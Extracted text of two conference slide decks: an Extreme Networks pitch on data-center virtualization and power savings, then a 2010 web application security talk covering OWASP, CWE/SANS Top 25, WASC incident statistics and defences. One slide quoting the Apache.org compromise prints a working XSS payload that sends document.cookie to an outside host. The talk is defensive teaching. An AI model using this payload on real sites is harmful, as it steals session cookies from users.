


Reminders

Please complete your surveys.

Upcoming OTech Events (here at TEC): 

Data Center Relocation Forum – April 22

Legacy Migration Workshop – April 28

z/OS V1.11 Customer Forum – May 18 

To register, go to: 
http://www.otech.ca.gov/calendar/
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 The New Computer

 Data center capacity, not server capacity,

is the new metric

 Consolidation

 High Computational Density

 Physical Location Consolidation

 Green

 Efficient Power Management

 Virtualization

 On Demand Provisioning

 Hardware Independence / High Availability

 Location Independence

 Network / Storage Convergence
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Data Center Trends



The Dissolving Network Edge

Network boundary between edge 
switch and server has blurred

Switching at multiple levels
 Virtual switch

 Network switch

 Switching in NIC cards

 Distributed virtual switches

Co-existence of different virtual 
switch models a challenge
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Virtualization: A Networking Problem



The Departmental Divide

Who owns the networking
configuration?

 Server and network 
administrators traditionally 
distinct

 Server administrators not skilled 
at network configuration

Dealing with inconsistencies 
in server and network 
configuration

 Increased likelihood of errors

 Troubleshooting, maintenance 
require direct coordination 
across groups

Shifting locus of control
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Virtualization: A Networking Problem



Virtualization: A Networking Problem

VM: Force-Fitting Dynamism onto a Static Network

VM Mobility requires network 
configuration to follow VMs

 VLAN, QoS, ACLs, Rate Limiting 
tied to VM, not network port

Best practices are conflicting

 Flat L2 versus segmented

Requires coordination 
between server & network 
administrators

 Automated and dynamic 
VM migration
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Extreme Networks: “Four Pillars” Solution

Value to the Data Center

Automated
Customized

Program & 
Application 
Integration

XML - enabled 
Infrastructure

Open APIs

Physical

Bandwidth and 
Performance

Fixed and 
Modular 

Platforms

Robust and 
Flexible 
Stacking

Efficient

Integration with 
VM Platforms

Heterogeneous 
(Best of Breed) 

support for 
Virtual 

Machines

Scalable

Application 
Awareness & 

Support

Provision 
1,000s of 
Switches 

across 
Multiple Sites

Reduce
Network

Tiers
User Generated 

Scripts

1G  10G 
40G  100G

EPICenter®

single pane of 
glass

VEPA

Network
Topology

Network
Profiles for 

VMs

Automated 
Configuration
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 Virtualization has 
introduced complexity 
to the network

 Additional 1 or 2 tiers of 
switching

 Extreme Networks®

Direct-Attach 
architecture reduces 
network tiers

 Fewer switches 

 Lower cost design

 High performance

 Reduced cabling

 Reduced power
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Simplifying the Network Topology



Efficiently Manage Virtualization
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Make the network “VM Aware”

 Switch detects movement of 
virtual machines

 Switch dynamically provisions 
network parameters (Virtual 
Port Profiles) with the virtual 
machine

 QoS, ACLs, Rate Limiting

 EPICenter® provisions across 
many Extreme Networks®

switches and integrates with 
hypervisor management



 Embedded soft switch (Today)

 Large growth in VMs introduces 
switch functionality on server

 Proliferation of switching 
infrastructure in network
∎ Soft Switch (vSwitch) in server

 Each vSwitch needs management

 VEPA (Future)

 Industry support for standardization 

 Moves switching functionality back 
to the network

 Reduces management complexity

 Increases performance

Scale: Simplify by Eliminating the vSwitch
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 Every $1 on power requires another $2 on cooling

 BlackDiamond 8810 consumes 1/3 the power of Company A and 1/2 of 
Company B

 Additional capabilities to reduce power consumption during off-peak hours

Source: Tolly Group Report 3/2008 available @ http://www.tolly.com/DocDetail.aspx?DocNumber=208284
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Green Initiatives
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Power and Cooling Costs—Australia ($)

Page 13

Comparisons based on published documents; power usage 
information varies within documents and your results may vary. 
Configuration based on 210 racks, 7 racks per row, 17 servers 
per rack; 100% power utilization; 2x cooling factor; 50% 1 GbE
modules/50% 10 GbE modules. Energy costs based on Int‟l 
Energy Agency 1Q2009 statistics.

 65% less power

 5-year savings: $2.6+ Million

 5-year savings: 
21+ Million kWh

 Additional savings potential 
by applying dynamic power 
management (33% 
additional savings shown)

BlackDiamond 8800 vs. 
Catalyst 6509

End-of-Row Configuration
30 Rows, 50% 10GbE

© 2009 Extreme Networks, Inc.  All rights reserved.



Hibernation Mode

Chassis Hibernation Widget:  Up to 70% power savings

8 a.m. –
6 p.m.

6 p.m. –
8 a.m.

60

30

40

50 70

80

90

Hibernate Power

Normal Power
60

30

40

50 70

80

90

Normal Operative State

►Automate power savings 

►Based on ExtremeXOS®

extensibility framework

►Power costs can be 
reduced by up to 70%

►Overall, potential to use 
up to 91% less power 
than competitive 
chassis-based solutions 

►Customizable profiles 

►Manage and track via 
EPICenter®
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Example: Automated Power Management



 Automate tasks with 
programs that run on switch

Manage databases 
required for virtualization 
via EPICenter

 Custom applications 

 Interface switch to external 
applications via XML interface

 Loadable modules

 Single operating system

2

3

EPICenter®

XML

Widgets1

Loadable 
Modules4
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Automate & Customize the Network



Extreme Networks: “Four Pillars” Solution

Value to the Data Center
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Forward-looking Statements

Page 17

This presentation contains forward-looking statements that 
involve risks and uncertainties, including statements 
regarding our expectations as to products, trends and our 
performance. There can be no assurances that any 
forward-looking statements will be achieved, and actual 
results could differ materially from forecasts and estimates.  
For factors that may affect our business and financial 
results please refer to our filings with the Securities and 
Exchange Commission, including, without limitation, under 
the captions: “Management‟s Discussion and Analysis of 
Financial Condition and Results of Operations,” and “Risk 
Factors,” which is on file with the Securities and Exchange 
Commission (http://www.sec.gov).  We undertake no 
obligation to update the forward-looking information in this 
release. 

© 2009 Extreme Networks, Inc.  All rights reserved.



Thank You
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The State of Web Application Security: 2010

Ryan C. Barnett

Director of Application Security Research

Breach Security

WASC Member/Project Leader

OWASP Project Leader



Background

• Breach Security (www.breach.com)

– Web Application Firewall Vendor

– Director of Application Security Research

– Leader of Breach Security Labs

– ModSecurity Community Manager

• Author

– Preventing Web Attacks with Apache

• Blog

– http://tacticalwebappsec.blogspot.com

• Email

– Ryan.Barnett@breach.com

– rcbarnett@gmail.com



Community Projects

• Open Web Application Security Project 

(OWASP)

– Speaker/Instructor

– Project Leader, ModSecurity Core Rule Set

• Web Application Security Consortium 

(WASC)

– Board Member

– Project Leader, Distributed Open Proxy 

Honeypots

– Project Leader, Web Hacking Incident 

Database

• The SANS Institute

– Courseware Developer/Instructor



Agenda

• Web Insecurity Contributing Factors

– Root Causes

• Web Application Vulnerability Resources

– WASC Web Application Security Statistics

– CWE/SANS Top 25 Most Dangerous Programming Errors

– OWASP Top 10

– WASC Threat Classification

• Web Application Attacks Resources

– WASC Distributed Open Proxy Honeypot Project

– WASC Web Hacking Incident Database (WHID)

• Defensive Recommendations

– Strategic vs. Tactical



WEB INSECURITY 

CONTRIBUTING FACTORS

Root Causes



The Trinity of Trouble #1
Web Application Security

• Connectivity

– HTTP(S) is open to just about anyone

– UFBP (Universal Firewall Bypass Protocol)

• Complexity

– Multiple Tiers

– Web Services

– B2B

– Web 2.0/Mash-Ups

– Web application flow diagrams?

• Extensibility

– New features are constantly being added

Connectivity

Extensibility

Complexity



The Supply Chain Problem



The Trinity of Trouble #2
Web Security Development Concepts

• Users are Evil
– Don‟t expect them to act in a certain 

way

– Often hear developers say “Why would 
a user do that?” when presented with a 
vuln

• Don’t Own the Browser
– User‟s are not controlled by the 

browser

– Don‟t do client-side security 
(javascript)

– Hidden form fields are not really 
hidden

• Don’t Trust User Input
– All data sent to a client must be treated 

as tainted or possibly malicious

Users are Evil

Don’t Own 

the Browser

Trusting Input



The Contract Problem

http://www.sans.org/appseccontract/



Desired Software Development Lifecycle

http://www.cigital.com/training/touchpoints/



SDLC Adoption Challenges

• Planning to move security further "left" in the cycle. 
Unfortunately, my executive management is more 
concerned with getting a product out the door than 
getting a secure product out the door. Until that changes, I 
don't know how successful I can be...

http://www.erratasec.com/ErrataSurveyResults.pdf



QA Testing – Functional Defect Focus

Actual

Coded

Functionality

Desired

Application

Functionality

Configuration Mistake

(Security Testing)

Unintended

Functionality

(Security Testing)

Missing/Broken 

Functionality

(Found through 

Functional Unit Testing)



Rules of Engagement Restrictions

• Rules of Engagement
– Restrictive controls around who, what, where, 

when and how web applications may be actively 
scanned

– Normally exclude mission-critical, sensitive 
systems

– Often exclude testing subcategories such as 
Denial of Service or Brute Force attacks

• http://www.isecom.org/projects/rules.shtml

• Active scanning can be “harmful” to some 
applications

• Result is a decreased scope of testing

http://www.isecom.org/projects/rules.shtml


• Black-box Scanning or dynamic testing of web 
applications works well to confirm the existence of 
vulnerabilities but not the total absence of them

Black-box Scanning Limitations
Badness-O-Meters



Black-box Scanning Limitations
Scanning Coverage

• Testing is often time restricted

– Test for N days

• Scanners perform a breadth-first 

traversal of a web site for links to 

map a site and identify areas of 

user input

– These crawls are usually only a few 

levels deep and miss large portions of 

the application

– Credentialed vs. Anonymous access

– Unless properly configured, scanners 

can miss possible navigation options 

(pull-down, user fields)

Application

Functionality

Tested

Functionality

Untested

Functionality

(Security Testing)



Black-box Scanning Limitations
Scanning Frequency

Scan occurs

Accuracy decay

Time  

Q
u
a
lit

y
  

t - Coherence time due

to application changes

t



Newcaritis Syndrome

“Newcaritis”. That’s a technical 
term for the unanticipated 
problems that show up in early 
production cars. No matter how 
large the automaker, how 
vaunted its reputation, how 
extensive its pre-production 
testing program or how clever 
it’s engineering staff, there’s 
nothing like putting several 
thousand cars in the devilish 
little hands of the public to 
uncover bugs that the 
engineers never dreamed of.





Verizon Data Breach Report 2009
Situational Awareness Failures



1 – Whitehat Website Security Statistics Report, November 2009

Time-to-Fix Metrics
Avg. # Of Days For Vulnerabilities To Be Fixed



WEB APPLICATION 

VULNERABILITY/RISK  RESOURCES
OWASP Top 10 Most Critical Web Application Security Risks

CWE/SANS Top 25 Most Dangerous Programming Errors

WASC Threat Classification

WASC Web Application Security Statistics



The „new‟ OWASP Top Ten (2010)

http://www.owasp.org/index.php/Top_10

http://www.owasp.org/index.php/Top_10


Real SQL Injection Attack



Attack Vector – LoginEmail Parameter



Reconnaissance



DB Logging Evasion



Application Errors – SQL Data Leakage



Response to SQL Injected Query



Final SQL Injection Payload



Extracting Customer Data



CWE/SANS Top 25

• CWE/SANS Top 25 Worst 
Programming Errors Overview
– http://cwe.mitre.org/top25/
– http://www.sans.org/top25-programming-errors/

• Sponsored by:
– National Cyber Security Division (DHS)

– Information Assurance Division (NSA)

• Group of security experts from 35 
organizations

• Academia
– Purdue, Univ. of Cal., N. Kentucky Univ.

• Government
– CERT, NSA, DHS

• Software Vendors
– Microsoft, Oracle, Red Hat, Apple

• Security Vendors
– Breach Security, Veracode, Fortify, Cigital

http://cwe.mitre.org/top25/
http://www.sans.org/top25-programming-errors/
http://www.sans.org/top25-programming-errors/
http://www.sans.org/top25-programming-errors/
http://www.sans.org/top25-programming-errors/
http://www.sans.org/top25-programming-errors/


Top 25 Errors

• Insecure Interaction Between Components (8 errors)
– [1] CWE-79: Failure to Preserve Web Page Structure ('Cross-

site Scripting')

– [2] CWE-89: Failure to Preserve SQL Query Structure (aka 'SQL 
Injection')

– [4] CWE-352: Cross-Site Request Forgery (CSRF)

– [8] CWE-434: Unrestricted Upload of File with Dangerous Type

– [9] CWE-78: Failure to Preserve OS Command Structure (aka 
'OS Command Injection')

– [17] CWE-209: Information Exposure Through an Error 
Message

– [23] CWE-601: URL Redirection to Untrusted Site ('Open 
Redirect')

– [25] CWE-362: Race Condition

• Risky Resource Management (10 errors) 

• Porous Defenses (7 errors)

http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/data/definitions/434.html
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/
http://cwe.mitre.org/top25/index.html


WASC Threat Classification v2.0

http://projects.webappsec.org/Threat-Classification



Mapping Taxonomy



WASC Web Application Security Statistics
% of Vulnerabilities (Black-box & White-box)

http://projects.webappsec.org/Web-Application-Security-Statistics



WEB APPLICATION ATTACK  

RESOURCES

WASC Distributed Open Proxy Honeypot Project

WASC Web Hacking Incident Database



“Use one of the web attacker's most trusted tools against him - the Open Proxy 

server. Instead of being the target of the attacks, we opt to be used as a conduit 

of the attack data in order to gather our intelligence” 

WASC Distributed Open Proxy Honeypot Project



WASC Distributed Open Proxy Honeypot Project



Brute Force Attacks Against Yahoo



Brute Force Attacks Against Yahoo

http://3.bp.blogspot.com/_E0YEPhKPc2k/Ss3oFpxx2CI/AAAAAAAAAFE/mi6vJM5pMNo/s1600-h/security_is_lax.jpg


WASC Web Hacking Incident Database

http://projects.webappsec.org/Web-Hacking-Incident-Database



WASC Web Hacking Incident Database



Security Analyst View (Attack Methods)



Management View (Vertical + Outcome)



Developer View (Application Weakness)



Unknown
24%

Stolen Credentials
12%

Banking Trojan
9%

SQL Injection
9%

Cross Site Scripting (XSS)
5%

Denial of Service
5%

Insufficient 
Authorization

5%

Insufficient 
Authentication

4%

Insufficient 
Anti 

Automation
3%

Malvertising
3%

Other
20%

Incident By Attack Method

WHID 2010 Statistics
Incident By Attack Method

Unwilling to Disclose Details 

or Insufficient Logging



Man-in-the-Browser (MitB)/Banking Trojans



Apache.org XSS Compromise

• Incident Description: On April 5th, the attackers via a 
compromised Slicehost server opened a new issue, INFRA-
2591. This issue contained the following text:

– ive got this error while browsing some projects in jira
http://tinyurl.com/XXXXXXXXX [obscured]

• https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_
name=name;}catch(e){}%0D%0A--
></script><noscript><meta%20http-
equiv="refresh"%20content="0;url=http://pastie.org/904699">
</noscript>
<script>document.write('<img%20src="http://teap.zzl.org/te
ap.php?data='%2bdocument.cookie%2b'"/>');window.locat
ion="http://pastie.org/904699";
</script><script><!--&defaultColor=';try{//



Unknown
25%

Insufficient 
Authentication

19%

Improper Input 
Handling

14%

Improper Output 
Handling

14%

Insufficient Anti-
automation

12%

Insufficient 
Authorization

5%

Insufficient Process 
Validation

5%

Abuse of Functionality
1%

Application 
Misconfiguration

1%

Insufficient 
Password 
Recovery

2%

Misconfiguration
2%

Incident By Application Weakness

Due to Unknown Attack 

Method

WHID 2010 Statistics
Incident By Application Weakness



Leakage of Information
33%

Defacement
20%

Monetary Loss
17%

Downtime
10%

Planting of Malware
7%

Loss of Sales
4%

Information Warfare
3%

Chaos
2% Data Loss

1%

Disinformation
1%

Fraud
1%

Link Spam
1%

Incident By Outcome

Many Attack Methods 

Contribute to this Outcome

Mostly Due to Hacktivism of 

Government Sites

A Result of Banking 

Trojans/Stolen Credentials

WHID 2010 Statistics
Incident By Outcome



Finance
24%

Government
18%

Retail
14%

Politics
8%

Entertainment
6%

Information Services
6%

Web 2.0
6%

Media
5%

Internet
3%

Religious
3% Technology

3%

Automotive
2%

Health
2%

Attacked Entity Field

Huge Jump From 2009 –

Due to Banking Trojans

Increase in Political 

Hacktivism

Trending % Consistent Due 

to PCI and Disclosure 

Requirements

WHID 2010 Statistics
Incident By Attacked Entity Field



DEFENSIVE 

RECOMMENDATIONS
Strategic Initiatives (Long-term Improvements)

Tactical Improvements (Short-term Fixes)



Strategic vs. Tactical

• Organizations need to utilize both Strategic and Tactical
remediation efforts

• Strategic Initiatives
– Ownership is application developers

– Focus on root-causes of vulnerabilities for web applications that 
must be fixed within the application code itself

– Ideal for applications that are in the Design phase of the SDLC

– Examples include adding in OWASP Enterprise Security API 
(ESAPI) components

– Keep in mind that this takes TIME

• Tactical Responses
– Ownership is operations security staff

– Focus on web applications that are already in production and 
exposed to attacks 

– Examples include using a Web Application Firewall (WAF) such as 
WebDefend

– Aim to minimize the Time-to-Fix exposures



Time-to-Fix vs. Source Code Access

73

Image – OWASP Best Practices: Use of Web Application Firewalls

If you have full code 
access, fix it in the code.

If you don’t have code access 
or if code updates/patches will 
break functionality, then virtual 
patching may be your only 
option.

https://www.owasp.org/index.php/Image:Best_Practice_WAF-chart-EN.png


OWASP Enterprise Security API (ESAPI)

74

Custom Enterprise Web Application

Enterprise Security API
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Existing Enterprise Security Services/Libraries

http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API



• Assumptions

– 25000 LOC

– 4 developers

Small Project Costs to Handle XSS

Cost Area Typical With Standard XSS Control

XSS Training 1 days 2 hours

XSS Requirements 2 days 1 hour

XSS Design

(Threat Model, Arch Review)

2.5 days 1 hour

XSS Implementation

(Build and Use Controls)

7 days 16 hours

XSS Verification

(Scan, Code Review, Pen 

Test)

3 days 12 hours

XSS Remediation 3 days 4.5 hours

Totals 18.5 days 4.5 days



• Assumptions:

– 10 3-day classes w/20 students

– Train 200 of 300 each year (+ conferences)

– 300 developers + outsourced code

– 5 appsec specialists

– 1000 applications

– 50 projects per year

– 50 reviews per year

– $75 hr loaded cost

Potential Enterprise ESAPI Cost Savings

Cost Area Typical With ESAPI

AppSec Training (semiannual) $270K $135K

AppSec Requirements 250 days ($150K) 50 days ($30K)

AppSec Design

(Threat Model, Arch Review)

500 days ($300K) 250 days ($150K)

AppSec Implementation

(Build and Use Controls)

1500 days ($900K) 500 days ($300K)

AppSec Verification

(Scan, Code Review, Pen 

Test)

500 days ($300K) 250 days ($150K)

AppSec Remediation 500 days ($300K) 150 days ($90K)

AppSec Standards and 

Guidelines

100 days ($60K) 20 days ($12K)

AppSec Inventory, Metrics, 

and Management

250 days ($150K) 200 days ($120K)

Totals $2.43M $1.00M



Critical Situational Awareness Questions

• Can you detect when web clients are acting abnormally?

• Can you correlate web activity to the responsible user?

• Can you identify if your web application is not functioning 
properly?

• Can you identify if/when/where your application is leaking 
sensitive information?

• Can you detect new or mis-configured web application 
resources? 

• Does your operations, security and development staff 
utilize the same operational data to troubleshoot 
problems and remediate identified vulnerabilities? 

• Can you quickly conduct proper incident response to 
confirm events?



SANS Top 20 Critical Controls

http://www.sans.org/critical-security-controls/



Critical Control 7: Application Software Security

• How can this control be implemented, automated, and its 
effectiveness measured?
– QW: Organizations should protect web applications by 

deploying web application firewalls that inspect all traffic flowing 
to the web application for common web application attacks, 
including but not limited to Cross-Site Scripting, SQL injection, 
command injection, and directory traversal attacks. For applications 
that are not web based, deploy specific application firewalls if such 
tools are available for the given application type.

• Control 7 Metric:
– The system must be capable of detecting and blocking an 

application-level software attack attempt, and must generate an 
alert or send e-mail to enterprise administrative personnel within 24 
hours of detection and blocking. 

– While the 24 hour and one hour timeframes represent the current 
metric to help organizations improve their current state of security, 
in the future, organizations should strive for even more rapid 
alerting, with notification about an application attack attempt being 
sent within two minutes.



WAF Virtual Patching



Conclusion/Questions

• Questions?

• Email

– Ryan.Barnett@breach.com

– rcbarnett@gmail.com

• Blog

– http://tacticalwebappsec.blogspot.com






